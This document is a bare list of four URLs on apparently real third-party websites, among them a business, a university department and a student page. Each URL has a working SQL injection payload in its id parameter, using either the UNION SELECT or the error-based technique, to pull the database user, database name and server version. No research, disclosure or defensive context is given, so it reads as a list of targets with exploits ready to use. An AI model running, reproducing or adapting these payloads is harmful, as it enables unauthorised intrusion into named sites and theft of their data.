http://www.goudengravure.nl/goudengravure.php?ac=module&module=aanbod&id=-1 UNION SELECT 1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11 from information_schema.tables limit 0,1+--+

http://www.mace.manchester.ac.uk/postgraduate/research/projects/description/?id=-1+or%281,1%29=%28select+count%280%29,concat%28%28select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29+from+information_schema.tables+limit+125,1%29,floor%28rand%280%29*2%29%29from%28information_schema.tables%29group+by+2%29--++

http://www.acllf.org/album.php?type=centre&id=-1%20UNION%20SELECT%201,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4++

http://students.ee.sun.ac.za/~aresazi/eendragweb/hk.php?id=-1%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%29x%20GROUP%20BY%20CONCAT%28user%28%29,%20FLOOR%28RAND%280%29*2%29%29%29%20--